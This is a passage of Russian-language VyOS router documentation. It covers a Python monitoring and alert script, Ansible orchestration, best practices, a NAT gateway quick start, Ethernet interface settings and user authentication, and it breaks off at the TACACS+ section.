                    if "down" in interfaces_data.lower():
                        self.alerts.append(Alert(
                            severity="critical",
                            device=device_name,
                            message=f"Interface {iface} is DOWN"
                        ))

        except Exception as e:
            self.alerts.append(Alert(
                severity="critical",
                device=device_name,
                message=f"Error checking interfaces: {e}"
            ))

    def check_vpn_tunnels(self, client: VyOSClient, device_name: str,
                         expected_tunnels: int):
        """Проверить VPN туннели"""
        try:
            result = client.show(path=["vpn", "ipsec", "sa"])
            if not result.get('success'):
                self.alerts.append(Alert(
                    severity="warning",
                    device=device_name,
                    message="Cannot retrieve VPN status"
                ))
                return

            vpn_data = result.get('data', '')
            established_count = vpn_data.count('ESTABLISHED')

            if established_count < expected_tunnels:
                self.alerts.append(Alert(
                    severity="warning",
                    device=device_name,
                    message=f"VPN tunnels degraded: {established_count}/{expected_tunnels}",
                    details={"expected": expected_tunnels, "actual": established_count}
                ))

        except Exception as e:
            self.alerts.append(Alert(
                severity="warning",
                device=device_name,
                message=f"Error checking VPN: {e}"
            ))

    def check_system_resources(self, client: VyOSClient, device_name: str):
        """Проверить системные ресурсы"""
        try:
            # CPU
            cpu_result = client.show(path=["system", "cpu"])
            if cpu_result.get('success'):
                cpu_data = cpu_result.get('data', '')
                # Упрощенный парсинг CPU usage
                # В реальности нужен более сложный парсинг
                if "CPU" in cpu_data:
                    # Placeholder для демонстрации
                    pass

            # Memory
            mem_result = client.show(path=["system", "memory"])
            if mem_result.get('success'):
                mem_data = mem_result.get('data', '')
                # Упрощенный парсинг memory usage
                # В реальности нужен более сложный парсинг
                if "Mem:" in mem_data:
                    # Placeholder для демонстрации
                    pass

        except Exception as e:
            self.alerts.append(Alert(
                severity="info",
                device=device_name,
                message=f"Error checking system resources: {e}"
            ))

    def monitor_all(self):
        """Мониторить все устройства"""
        for device in self.devices:
            try:
                client = VyOSClient(
                    host=device['host'],
                    api_key=self.api_key,
                    verify_ssl=False
                )

                # Запустить проверки
                self.check_interface_status(client, device['name'])

                if device.get('expected_vpn_tunnels'):
                    self.check_vpn_tunnels(
                        client,
                        device['name'],
                        device['expected_vpn_tunnels']
                    )

                self.check_system_resources(client, device['name'])

            except Exception as e:
                self.alerts.append(Alert(
                    severity="critical",
                    device=device['name'],
                    message=f"Cannot connect to device: {e}"
                ))

    def send_alerts(self, smtp_config: dict):
        """Отправить алерты по email"""
        if not self.alerts:
            print("No alerts to send")
            return

        # Группировать алерты по severity
        critical = [a for a in self.alerts if a.severity == "critical"]
        warning = [a for a in self.alerts if a.severity == "warning"]
        info = [a for a in self.alerts if a.severity == "info"]

        # Формировать email
        msg = MIMEMultipart('alternative')
        msg['Subject'] = f"VyOS Monitoring Alert - {len(critical)} critical, {len(warning)} warnings"
        msg['From'] = smtp_config['from']
        msg['To'] = smtp_config['to']

        # Текст письма
        text = "VyOS Monitoring Alerts\n\n"

        if critical:
            text += "CRITICAL ALERTS:\n"
            for alert in critical:
                text += f"  - {alert.device}: {alert.message}\n"
            text += "\n"

        if warning:
            text += "WARNING ALERTS:\n"
            for alert in warning:
                text += f"  - {alert.device}: {alert.message}\n"
            text += "\n"

        if info:
            text += "INFO ALERTS:\n"
            for alert in info:
                text += f"  - {alert.device}: {alert.message}\n"

        # HTML версия
        html = "<html><body>"
        html += "<h2>VyOS Monitoring Alerts</h2>"

        if critical:
            html += "<h3 style='color: red;'>CRITICAL ALERTS</h3><ul>"
            for alert in critical:
                html += f"<li><strong>{alert.device}</strong>: {alert.message}</li>"
            html += "</ul>"

        if warning:
            html += "<h3 style='color: orange;'>WARNING ALERTS</h3><ul>"
            for alert in warning:
                html += f"<li><strong>{alert.device}</strong>: {alert.message}</li>"
            html += "</ul>"

        if info:
            html += "<h3>INFO ALERTS</h3><ul>"
            for alert in info:
                html += f"<li><strong>{alert.device}</strong>: {alert.message}</li>"
            html += "</ul>"

        html += "</body></html>"

        # Attach parts
        part1 = MIMEText(text, 'plain')
        part2 = MIMEText(html, 'html')
        msg.attach(part1)
        msg.attach(part2)

        # Отправить email
        try:
            with smtplib.SMTP(smtp_config['server'], smtp_config['port']) as server:
                if smtp_config.get('use_tls'):
                    server.starttls()
                if smtp_config.get('username'):
                    server.login(smtp_config['username'], smtp_config['password'])
                server.send_message(msg)

            print(f"Sent alert email with {len(self.alerts)} alerts")

        except Exception as e:
            print(f"Failed to send alert email: {e}")

def main():
    """Главная функция"""
    # Конфигурация устройств
    DEVICES = [
        {
            "host": "192.168.1.1",
            "name": "border-router",
            "expected_vpn_tunnels": 3
        },
        {
            "host": "192.168.2.1",
            "name": "branch-01",
            "expected_vpn_tunnels": 1
        },
    ]

    # SMTP конфигурация
    SMTP_CONFIG = {
        "server": "smtp.example.com",
        "port": 587,
        "use_tls": True,
        "username": "monitoring@example.com",
        "password": "password",
        "from": "monitoring@example.com",
        "to": "admin@example.com"
    }

    API_KEY = "your-api-key-here"

    # Создать монитор
    monitor = VyOSMonitor(DEVICES, API_KEY)

    # Запустить мониторинг
    print("Starting VyOS monitoring...")
    monitor.monitor_all()

    # Отправить алерты
    monitor.send_alerts(SMTP_CONFIG)

    print("Monitoring completed")

if __name__ == "__main__":
    main()
```

#### Cron задача для периодического мониторинга

```bash
# /etc/cron.d/vyos-monitoring
# Мониторинг каждые 5 минут
*/5 * * * * root /opt/scripts/monitor_vyos.py >> /var/log/vyos-monitor.log 2>&1
```

### Сценарий 6: Оркестрация множественных устройств с Ansible

```yaml
---
# playbooks/orchestrate_network_change.yml
- name: Orchestrate Network-Wide Configuration Change
  hosts: localhost
  gather_facts: false

  vars:
    change_description: "Add new VLAN 40 for IoT devices"
    vlan_id: 40
    vlan_description: "IoT Devices"
    subnet: "192.168.40.0/24"
    gateway: "192.168.40.1"
    dhcp_start: "192.168.40.100"
    dhcp_stop: "192.168.40.200"

  tasks:
    - name: Log change start
      debug:
        msg: "Starting network change: {{ change_description }}"

    - name: Create pre-change backup
      include_tasks: backup_all_devices.yml

    - name: Apply VLAN configuration to core routers
      include_tasks: configure_vlan_core.yml
      vars:
        target_hosts: core_routers

    - name: Wait for core routers to stabilize
      pause:
        seconds: 30

    - name: Verify core router configuration
      include_tasks: verify_vlan_config.yml
      vars:
        target_hosts: core_routers

    - name: Apply VLAN configuration to edge routers
      include_tasks: configure_vlan_edge.yml
      vars:
        target_hosts: edge_routers

    - name: Verify edge router configuration
      include_tasks: verify_vlan_config.yml
      vars:
        target_hosts: edge_routers

    - name: Run connectivity tests
      include_tasks: test_connectivity.yml

    - name: Log change completion
      debug:
        msg: "Network change completed successfully: {{ change_description }}"
```

## Лучшие практики

### API Automation

1. **Используйте контекстные менеджеры** для автоматического commit/rollback
2. **Всегда включайте error handling** с логированием ошибок
3. **Используйте параллелизм** для операций на множестве устройств
4. **Кэшируйте клиенты** для повторного использования соединений
5. **Проверяйте success в ответах** перед обработкой данных
6. **Используйте SSL/TLS** в production окружениях
7. **Ротируйте API ключи** регулярно
8. **Логируйте все операции** для аудита
9. **Используйте batch операции** где возможно для оптимизации
10. **Тестируйте на staging** перед применением на production

### Ansible Best Practices

1. **Используйте Ansible Vault** для хранения секретов
2. **Группируйте хосты** в inventory по ролям и локациям
3. **Создавайте переиспользуемые роли** для общих задач
4. **Всегда используйте tags** для гибкого выполнения
5. **Включайте verify tasks** после конфигурационных изменений
6. **Используйте check mode** (`--check`) для dry-run
7. **Документируйте переменные** в README ролей
8. **Версионируйте playbooks** в Git
9. **Используйте динамический inventory** для больших парков
10. **Логируйте выполнение** playbooks для аудита

### Configuration Management

1. **Храните конфигурации в Git** с осмысленными commit messages
2. **Используйте branches** для разных окружений (dev/staging/prod)
3. **Автоматизируйте резервное копирование** с ротацией
4. **Тестируйте конфигурации** перед применением
5. **Документируйте изменения** в CHANGELOG
6. **Используйте CI/CD** для автоматического развертывания
7. **Проводите code review** для конфигурационных изменений
8. **Мониторьте состояние устройств** после изменений
9. **Имейте rollback plan** для критичных изменений
10. **Обучайте команду** работе с системой автоматизации

### Security

1. **Никогда не храните API ключи** в исходном коде
2. **Используйте переменные окружения** или секретные менеджеры
3. **Ограничивайте сетевой доступ** к API интерфейсам
4. **Используйте RBAC** для разграничения прав
5. **Аудируйте все API операции** в логах
6. **Ротируйте credentials** регулярно
7. **Используйте TLS** для всех API соединений
8. **Проверяйте SSL сертификаты** в production
9. **Ограничивайте rate limiting** для API запросов
10. **Мониторьте подозрительную активность** через API

## Troubleshooting

### Проблема: API запросы возвращают 401 Unauthorized

**Причина**: Неверный API ключ или API не настроен

**Решение**:
```bash
# Проверить конфигурацию API
show configuration service https api

# Убедиться что API включен
show service https

# Для VyOS 1.5 проверить REST endpoint
show configuration service https api rest

# Создать новый API ключ
configure
set service https api keys id mykey key 'new-api-key'
commit
save
```

### Проблема: Ansible playbook fails with "Network device unreachable"

**Причина**: Неверная конфигурация connection или SSH

**Решение**:
```yaml
# Проверить inventory конфигурацию
ansible_connection: ansible.netcommon.network_cli
ansible_network_os: vyos.vyos.vyos

# Тестировать connectivity
ansible -m ping -i inventory/hosts.yml vyos_routers

# Debug Ansible connection
ansible-playbook playbook.yml -vvv
```

### Проблема: Configuration не применяется через API

**Причина**: Не выполнен commit или есть ошибки в конфигурации

**Решение**:
```python
# Всегда проверять success в ответах
response = client.set_config(path=["interfaces", "ethernet", "eth1", "address"],
                            value="192.168.1.1/24")
if not response.get('success'):
    print(f"Error: {response.get('error')}")

# Обязательно commit после изменений
client.commit()
client.save()

# Проверить конфигурацию
config = client.show_config(path=["interfaces", "ethernet", "eth1"])
print(config)
```

### Проблема: Batch операции выполняются частично

**Причина**: Ошибка в одной из команд прерывает всю транзакцию

**Решение**:
```python
# Использовать try/except для каждой операции
commands = [
    {"op": "set", "path": ["interfaces", "ethernet", "eth1", "address"],
     "value": "192.168.1.1/24"},
    {"op": "set", "path": ["interfaces", "ethernet", "eth2", "address"],
     "value": "192.168.2.1/24"},
]

for cmd in commands:
    try:
        result = client.set_config(cmd['path'], cmd.get('value'))
        if not result.get('success'):
            print(f"Warning: Failed to apply {cmd['path']}: {result.get('error')}")
    except Exception as e:
        print(f"Error: {e}")

# Commit только если все успешно
client.commit()
```

### Проблема: SSL Certificate Verification Failed

**Причина**: Self-signed сертификат на VyOS

**Решение**:
```python
# Отключить проверку SSL для testing/development
client = VyOSClient(
    host="192.168.1.1",
    api_key="your-key",
    verify_ssl=False
)

# В production - установить правильный сертификат на VyOS
# или добавить CA в trust store
import requests
requests.packages.urllib3.disable_warnings()
```

## Заключение

Автоматизация VyOS через REST API, Ansible и Python предоставляет мощные инструменты для:

- **Масштабирования**: Управление парком устройств из единого центра
- **Консистентности**: Единообразная конфигурация всех устройств
- **Скорости**: Быстрое развертывание изменений
- **Надежности**: Автоматизированное тестирование и rollback
- **Аудита**: Полное логирование всех операций
- **DevOps интеграции**: CI/CD для сетевой инфраструктуры

Используйте эти инструменты для построения современной, гибкой и надежной сетевой инфраструктуры на базе VyOS.


---

# Быстрый старт VyOS - Настройка NAT-шлюза за 10 минут

Source: https://opennix.org/docs/vyos/first-steps/vyos-quick-start/


Данное руководство поможет быстро настроить базовую конфигурацию VyOS в качестве NAT-шлюза с двумя сетевыми интерфейсами.

## Предварительные условия

После установки VyOS войдите в систему используя учетные данные по умолчанию:
- Username: `vyos`
- Password: `vyos`

## Режим конфигурации

Для внесения изменений в конфигурацию необходимо войти в режим конфигурации:

```
vyos@vyos:~$ configure
[edit]
vyos@vyos#
```

Обратите внимание, что приглашение командной строки изменилось с `$` на `#`, что указывает на нахождение в режиме конфигурации.

## Команды commit и save

- `commit` - применяет изменения конфигурации
- `save` - сохраняет конфигурацию на постоянной основе

**Важно**: Изменения в конфигурации не вступят в силу, пока не будет выполнена команда `commit`.

## Конфигурация интерфейсов

### WAN интерфейс (eth0)

Настройка внешнего интерфейса для получения IP-адреса через DHCP:

```
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN'
```

### LAN интерфейс (eth1)

Настройка внутреннего интерфейса со статическим IP-адресом:

```
set interfaces ethernet eth1 address '192.168.0.1/24'
set interfaces ethernet eth1 description 'LAN'
```

## Настройка SSH

Включение SSH для удаленного управления:

```
set service ssh port 22
```

## Конфигурация DHCP и DNS

### DHCP сервер

Настройка DHCP-сервера для внутренней сети:

```
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 option default-router '192.168.0.1'
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 option name-server '192.168.0.1'
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 option domain-name 'internal-network'
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 range 0 start '192.168.0.9'
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 range 0 stop '192.168.0.254'
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 subnet-id 1
```

Параметры:
- **default-router**: Шлюз по умолчанию для клиентов
- **name-server**: DNS-сервер для клиентов
- **domain-name**: Доменное имя
- **range**: Диапазон выдаваемых IP-адресов (192.168.0.9 - 192.168.0.254)
- **lease**: Время аренды адреса (по умолчанию 86400 секунд)

### DNS forwarding

Настройка DNS-пересылки:

```
set service dns forwarding listen-address '192.168.0.1'
set service dns forwarding allow-from '192.168.0.0/24'
```

## Конфигурация NAT

Настройка Source NAT для доступа внутренней сети в интернет:

```
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.0.0/24'
set nat source rule 100 translation address 'masquerade'
```

Параметры:
- **rule 100**: Номер правила
- **outbound-interface**: Исходящий интерфейс (WAN)
- **source address**: Адреса источника (внутренняя сеть)
- **masquerade**: IP-маскарадинг (замена адреса источника на адрес WAN-интерфейса)

## Конфигурация межсетевого экрана

VyOS 1.5.x использует nftables в качестве backend для firewall.

### Настройка групп адресов

Создание группы адресов для внутренней сети:

```
set firewall group address-group LAN-NETWORKS address '192.168.0.0/24'
```

### Правила для входящего трафика (eth0 → router)

Создание правил для защиты самого маршрутизатора:

```
set firewall ipv4 input filter default-action 'drop'
set firewall ipv4 input filter rule 10 action 'accept'
set firewall ipv4 input filter rule 10 state established
set firewall ipv4 input filter rule 10 state related
set firewall ipv4 input filter rule 20 action 'drop'
set firewall ipv4 input filter rule 20 state invalid
set firewall ipv4 input filter rule 30 action 'accept'
set firewall ipv4 input filter rule 30 protocol 'icmp'
set firewall ipv4 input filter rule 40 action 'accept'
set firewall ipv4 input filter rule 40 source group address-group 'LAN-NETWORKS'
```

Логика правил:
- **default-action drop**: Блокировка всего трафика по умолчанию
- **rule 10**: Разрешение established/related соединений
- **rule 20**: Отбрасывание invalid пакетов
- **rule 30**: Разрешение ICMP (ping)
- **rule 40**: Разрешение трафика из внутренней сети

### Правила для транзитного трафика (eth0 → eth1)

Создание правил для трафика, проходящего через маршрутизатор:

```
set firewall ipv4 forward filter default-action 'drop'
set firewall ipv4 forward filter rule 10 action 'accept'
set firewall ipv4 forward filter rule 10 state established
set firewall ipv4 forward filter rule 10 state related
set firewall ipv4 forward filter rule 20 action 'drop'
set firewall ipv4 forward filter rule 20 state invalid
set firewall ipv4 forward filter rule 30 action 'accept'
set firewall ipv4 forward filter rule 30 source group address-group 'LAN-NETWORKS'
```

## Применение конфигурации

Применение и сохранение изменений:

```
commit
save
```

После выполнения этих команд базовая конфигурация NAT-шлюза готова к работе.

## Усиление безопасности

### Замена пользователя по умолчанию

Создание нового пользователя с правами администратора:

```
set system login user admin authentication plaintext-password 'secure_password'
set system login user admin authentication public-keys user@host key 'AAAAB3Nz....'
set system login user admin authentication public-keys user@host type 'ssh-rsa'
```

Удаление пользователя по умолчанию:

```
delete system login user vyos
```

### Отключение парольной аутентификации

Для повышения безопасности рекомендуется использовать только аутентификацию по SSH-ключам:

```
set service ssh disable-password-authentication
```

Не забудьте применить изменения:

```
commit
save
```

## Проверка конфигурации

Проверка состояния интерфейсов:

```
show interfaces
```

Проверка таблицы маршрутизации:

```
show ip route
```

Проверка NAT:

```
show nat source rules
show nat source statistics
```

Проверка правил firewall:

```
show firewall
```

Просмотр активных DHCP-аренд:

```
show dhcp server leases
```

## Следующие шаги

После настройки базовой конфигурации можно переходить к более сложным задачам:

- Настройка VPN (WireGuard, OpenVPN, IPsec)
- Конфигурация протоколов динамической маршрутизации (BGP, OSPF)
- Настройка QoS и политик трафика
- Конфигурация высокой доступности (VRRP)
- Интеграция с системами мониторинга

Подробнее об этом читайте в разделах [Конфигурация](/docs/vyos/) и [Руководство администратора](/docs/vyos/admin-guide/).


---

# Ethernet интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-ethernet/



Ethernet интерфейсы являются основным типом физических сетевых интерфейсов в VyOS.

## Базовая конфигурация

### IP-адресация

Статический IPv4 адрес:
```
set interfaces ethernet eth0 address 192.168.1.1/24
```

Статический IPv6 адрес:
```
set interfaces ethernet eth0 address 2001:db8::1/64
```

Множественные адреса:
```
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 address 192.168.2.1/24
set interfaces ethernet eth0 address 2001:db8::1/64
```

### DHCP клиент

DHCPv4:
```
set interfaces ethernet eth0 address dhcp
```

DHCPv6:
```
set interfaces ethernet eth0 address dhcpv6
```

### Описание интерфейса

```
set interfaces ethernet eth0 description 'Primary LAN Interface'
```

### MAC-адрес

Изменение MAC-адреса:
```
set interfaces ethernet eth0 mac '00:50:56:00:00:01'
```

## Физические параметры

### Скорость и дуплекс

Автоматическое определение (по умолчанию):
```
set interfaces ethernet eth0 speed auto
set interfaces ethernet eth0 duplex auto
```

Фиксированные значения:
```
set interfaces ethernet eth0 speed 1000
set interfaces ethernet eth0 duplex full
```

Доступные скорости:
- `10` - 10 Mbps
- `100` - 100 Mbps
- `1000` - 1 Gbps
- `2500` - 2.5 Gbps
- `5000` - 5 Gbps
- `10000` - 10 Gbps
- `25000` - 25 Gbps
- `40000` - 40 Gbps
- `50000` - 50 Gbps
- `100000` - 100 Gbps
- `auto` - автоопределение

Режимы дуплекса:
- `half` - полудуплекс
- `full` - полный дуплекс
- `auto` - автоопределение

### MTU (Maximum Transmission Unit)

```
set interfaces ethernet eth0 mtu 1500
```

Типичные значения MTU:
- `1500` - стандартный Ethernet
- `9000` - Jumbo frames (требует поддержки оборудования)
- `1492` - для PPPoE (учитывает 8-байтовый оверхед)

## Flow Control

Управление потоком данных для предотвращения перегрузки:

```
set interfaces ethernet eth0 flow-control enable
```

## Offloading (аппаратное ускорение)

### Generic Receive Offload (GRO)

```
set interfaces ethernet eth0 offload gro
```

### Generic Segmentation Offload (GSO)

```
set interfaces ethernet eth0 offload gso
```

### Large Receive Offload (LRO)

```
set interfaces ethernet eth0 offload lro
```

### Scatter-Gather (SG)

```
set interfaces ethernet eth0 offload sg
```

### TCP Segmentation Offload (TSO)

```
set interfaces ethernet eth0 offload tso
```

### UDP Fragmentation Offload (UFO)

```
set interfaces ethernet eth0 offload ufo
```

**Примечание**: Offload функции могут улучшить производительность, но в некоторых случаях могут вызывать проблемы с определенными типами трафика или при использовании туннелей.

## Ring Buffer

Настройка размера кольцевых буферов для оптимизации производительности:

```
set interfaces ethernet eth0 ring-buffer rx 512
set interfaces ethernet eth0 ring-buffer tx 512
```

Увеличение размера буферов может помочь при обработке высоких нагрузок.

## VLAN (802.1Q)

### Создание VLAN интерфейса

```
set interfaces ethernet eth0 vif 100 address 192.168.100.1/24
set interfaces ethernet eth0 vif 100 description 'VLAN 100 - Guests'
```

### Множественные VLAN

```
set interfaces ethernet eth0 vif 10 address 192.168.10.1/24
set interfaces ethernet eth0 vif 10 description 'VLAN 10 - Management'

set interfaces ethernet eth0 vif 20 address 192.168.20.1/24
set interfaces ethernet eth0 vif 20 description 'VLAN 20 - Servers'

set interfaces ethernet eth0 vif 30 address 192.168.30.1/24
set interfaces ethernet eth0 vif 30 description 'VLAN 30 - Workstations'
```

### QinQ (802.1ad)

Двойное тегирование VLAN:

```
set interfaces ethernet eth0 vif-s 100 vif-c 200 address 10.0.0.1/24
```

## IPv4 расширенные настройки

### ARP

Таймаут ARP кэша:
```
set interfaces ethernet eth0 ip arp-cache-timeout 3600
```

Proxy ARP:
```
set interfaces ethernet eth0 ip enable-proxy-arp
```

ARP announce:
```
set interfaces ethernet eth0 ip enable-arp-announce
```

ARP ignore:
```
set interfaces ethernet eth0 ip enable-arp-ignore
```

### Source validation

Проверка адреса источника для предотвращения спуфинга:

```
set interfaces ethernet eth0 ip source-validation strict
```

Режимы:
- `strict` - строгий режим (RFC 3704)
- `loose` - мягкий режим
- `disable` - отключено

### Disable forwarding

Отключение пересылки IP на интерфейсе:
```
set interfaces ethernet eth0 ip disable-forwarding
```

## IPv6 расширенные настройки

### Автоконфигурация (SLAAC)

```
set interfaces ethernet eth0 ipv6 address autoconf
```

### Duplicate Address Detection (DAD)

Количество попыток обнаружения дублирующихся адресов:
```
set interfaces ethernet eth0 ipv6 dup-addr-detect-transmits 1
```

### Отключение IPv6

```
set interfaces ethernet eth0 ipv6 disable
```

### Disable forwarding

```
set interfaces ethernet eth0 ipv6 disable-forwarding
```

## DHCP опции

### DHCPv4 клиент

Client ID:
```
set interfaces ethernet eth0 dhcp-options client-id 'my-client-id'
```

Hostname:
```
set interfaces ethernet eth0 dhcp-options host-name 'vyos-router'
```

Vendor class ID:
```
set interfaces ethernet eth0 dhcp-options vendor-class-id 'vyos'
```

Расстояние маршрута по умолчанию:
```
set interfaces ethernet eth0 dhcp-options default-route-distance 210
```

Отклонение маршрута по умолчанию от DHCP:
```
set interfaces ethernet eth0 dhcp-options no-default-route
```

### DHCPv6 клиент

Prefix delegation:
```
set interfaces ethernet eth0 dhcpv6-options pd 0 interface eth1 address 1
set interfaces ethernet eth0 dhcpv6-options pd 0 length 56
```

Rapid commit:
```
set interfaces ethernet eth0 dhcpv6-options rapid-commit
```

Temporary addresses:
```
set interfaces ethernet eth0 dhcpv6-options temporary
```

## Привязка к VRF

```
set interfaces ethernet eth0 vrf RED
```

## Зеркалирование трафика

Входящий трафик:
```
set interfaces ethernet eth0 mirror ingress eth1
```

Исходящий трафик:
```
set interfaces ethernet eth0 mirror egress eth1
```

## Политики трафика (QoS)

```
set interfaces ethernet eth0 traffic-policy in MY-SHAPER
set interfaces ethernet eth0 traffic-policy out MY-LIMITER
```

## Операционные команды

### Просмотр состояния

Все Ethernet интерфейсы:
```
show interfaces ethernet
```

Конкретный интерфейс:
```
show interfaces ethernet eth0
```

Краткая информация:
```
show interfaces ethernet eth0 brief
```

### Физические параметры

```
show interfaces ethernet eth0 physical
```

Вывод включает:
- Скорость и дуплекс
- Auto-negotiation статус
- Состояние канала (link up/down)
- Статистику ошибок

### Счетчики интерфейса

```
show interfaces ethernet eth0 statistics
```

### Сброс счетчиков

```
clear interfaces ethernet eth0 counters
```

### Мониторинг трафика

```
monitor interfaces ethernet eth0 traffic
```

### Capture трафика

```
monitor traffic interface eth0
monitor traffic interface eth0 filter 'port 80'
```

## Примеры конфигурации

### Простой LAN интерфейс

```
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 description 'LAN'
set interfaces ethernet eth0 speed 1000
set interfaces ethernet eth0 duplex full
```

### WAN интерфейс с DHCP

```
set interfaces ethernet eth1 address dhcp
set interfaces ethernet eth1 description 'WAN'
set interfaces ethernet eth1 dhcp-options default-route-distance 210
```

### Trunk порт с множественными VLAN

```
set interfaces ethernet eth2 description 'Trunk to switch'
set interfaces ethernet eth2 mtu 1500

set interfaces ethernet eth2 vif 10 address 192.168.10.1/24
set interfaces ethernet eth2 vif 10 description 'VLAN 10 - Management'

set interfaces ethernet eth2 vif 20 address 192.168.20.1/24
set interfaces ethernet eth2 vif 20 description 'VLAN 20 - Data'

set interfaces ethernet eth2 vif 30 address 192.168.30.1/24
set interfaces ethernet eth2 vif 30 description 'VLAN 30 - Voice'
```

### Интерфейс с jumbo frames

```
set interfaces ethernet eth3 address 10.0.0.1/24
set interfaces ethernet eth3 description 'Storage network'
set interfaces ethernet eth3 mtu 9000
set interfaces ethernet eth3 speed 10000
set interfaces ethernet eth3 duplex full
```

### Dual-stack (IPv4 + IPv6)

```
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 address 2001:db8:1::1/64
set interfaces ethernet eth0 description 'Dual-stack LAN'
set interfaces ethernet eth0 ipv6 dup-addr-detect-transmits 1
```

## Устранение неполадок

### Интерфейс в состоянии down

Проверьте физическое подключение:
```
show interfaces ethernet eth0 physical
```

Проверьте, не отключен ли интерфейс:
```
show interfaces ethernet eth0 | grep disable
```

Включите интерфейс если отключен:
```
delete interfaces ethernet eth0 disable
commit
```

### Проблемы с производительностью

Проверьте ошибки и коллизии:
```
show interfaces ethernet eth0 statistics
```

Попробуйте отключить offload:
```
delete interfaces ethernet eth0 offload
commit
```

Увеличьте ring buffer:
```
set interfaces ethernet eth0 ring-buffer rx 1024
set interfaces ethernet eth0 ring-buffer tx 1024
commit
```

### Auto-negotiation проблемы

Зафиксируйте скорость и дуплекс:
```
set interfaces ethernet eth0 speed 1000
set interfaces ethernet eth0 duplex full
commit
```

### VLAN проблемы

Убедитесь, что родительский интерфейс активен:
```
show interfaces ethernet eth0
```

Проверьте VLAN ID:
```
show interfaces ethernet eth0 vif
```

## Лучшие практики

1. **Используйте описания** для всех интерфейсов и VLAN
2. **Фиксируйте скорость/дуплекс** для критичных соединений
3. **Планируйте MTU** - учитывайте VLAN тег (4 байта)
4. **Тестируйте offload** - может вызывать проблемы с некоторым оборудованием
5. **Мониторьте ошибки** - регулярно проверяйте счетчики
6. **Документируйте VLAN** - используйте понятные описания
7. **Резервируйте конфигурацию** перед изменениями

## Следующие шаги

- [Bridge](/docs/vyos/interfaces/vyos-bridge/) - для создания L2 моста между интерфейсами
- [Bond](/docs/vyos/interfaces/vyos-bond/) - для агрегации Ethernet каналов
- [VLAN](/docs/vyos/interfaces/vyos-vlan/) - детальная настройка VLAN


---

# Управление пользователями и аутентификацией в VyOS

Source: https://opennix.org/docs/vyos/system/vyos-login/



Управление пользователями и аутентификацией в VyOS обеспечивает безопасный доступ к роутеру через SSH, console, и другие интерфейсы. Правильная конфигурация login management критична для безопасности системы.

## Обзор

### Типы пользователей

**System users**:
- Локальные пользователи на VyOS
- Хранятся в конфигурации
- Доступ через SSH, console, API

**Root access**:
- Root логин отключен по умолчанию
- Используйте sudo для административных команд
- Безопасность через limited privileges

### Методы аутентификации

1. **Local authentication** - пользователи в конфигурации VyOS
2. **SSH keys** - публичные ключи для passwordless login
3. **RADIUS** - централизованная аутентификация
4. **TACACS+** - Cisco-compatible authentication
5. **LDAP** - интеграция с Active Directory

### Уровни доступа

**Admin level**:
- Полный доступ к конфигурации
- Может выполнять все команды
- sudo доступ

**Operator level**:
- Read-only доступ
- Может просматривать конфигурацию
- Не может изменять настройки

## Базовая конфигурация

### Создание локального пользователя

```bash
# Создать пользователя с паролем
set system login user alice authentication plaintext-password 'SecurePass123!'

# Full name (опционально)
set system login user alice full-name 'Alice Admin'

# Home directory
set system login user alice home-directory '/home/alice'

commit
save
```

**Примечание**: Plaintext password шифруется автоматически при commit.

### Проверка пользователей

```bash
# Список пользователей
show system login

# Текущий пользователь
whoami

# Активные сессии
show system login users
```

### Удаление пользователя

```bash
delete system login user alice
commit
```

## SSH Keys Authentication

### Добавление SSH публичного ключа

```bash
# Добавить SSH ключ для пользователя
set system login user alice authentication public-keys workstation key 'AAAAB3NzaC1yc2EAAAADAQABAAABAQC...'
set system login user alice authentication public-keys workstation type 'ssh-rsa'

commit
```

**Генерация SSH ключа на клиенте**:
```bash
# На рабочей станции
ssh-keygen -t rsa -b 4096 -C "alice@company.com"

# Публичный ключ
cat ~/.ssh/id_rsa.pub
```

### Множественные SSH ключи

```bash
# Workstation key
set system login user alice authentication public-keys workstation key 'AAAAB3...'
set system login user alice authentication public-keys workstation type 'ssh-rsa'

# Laptop key
set system login user alice authentication public-keys laptop key 'AAAAB3...'
set system login user alice authentication public-keys laptop type 'ssh-rsa'

# Server key (for automation)
set system login user alice authentication public-keys automation key 'AAAAB3...'
set system login user alice authentication public-keys automation type 'ssh-ed25519'

commit
```

### Отключение password authentication

```bash
# Только SSH keys
delete system login user alice authentication plaintext-password
delete system login user alice authentication encrypted-password

commit
```

## Encrypted Passwords

### Использование encrypted passwords

```bash
# Генерация encrypted password
mkpasswd -m sha-512

# Или на VyOS
openssl passwd -6 'PlainPassword'

# Использование encrypted password
set system login user bob authentication encrypted-password '$6$rounds=656000$...'

commit
```

**Преимущества**:
- Пароль не виден в plaintext
- Безопаснее для backup конфигураций
- SHA-512 hashing

## User Groups и Privileges

### Admin vs Operator

**Admin (по умолчанию)**:
```bash
# Полный доступ
set system login user alice authentication plaintext-password 'Pass123!'

# Admin level подразумевается
commit
```

**Operator (read-only)**:
```bash
# VyOS не имеет встроенного operator level
# Используйте sudo restrictions или TACACS+ для granular control
```

### Sudo конфигурация

```bash
# Все пользователи VyOS имеют sudo доступ по умолчанию
# Для ограничения используйте sudoers файл (advanced)
```

## RADIUS Authentication

### Базовая RADIUS конфигурация

```bash
# RADIUS серверы
set system login radius server 192.168.1.10 key 'RadiusSecret123!'
set system login radius server 192.168.1.11 key 'RadiusSecret123!'

# Timeout
set system login radius server 192.168.1.10 timeout 5

# Port (default 1812)
set system login radius server 192.168.1.10 port 1812

# Source address для RADIUS запросов
set system login radius source-address 192.168.1.1

commit
```

### RADIUS с fallback

```bash
# RADIUS primary
set system login radius server 192.168.1.10 key 'Secret'

# Local fallback если RADIUS не доступен
# Локальные пользователи проверяются если RADIUS fails

set system login user admin authentication plaintext-password 'EmergencyPass!'

commit
```

### RADIUS accounting

```bash
# RADIUS accounting port (default 1813)
set system login radius server 192.168.1.10 acct-port 1813

commit
```

## TACACS+ Authentication

### TACACS+ конфигурация

```bash
# TACACS+ серверы
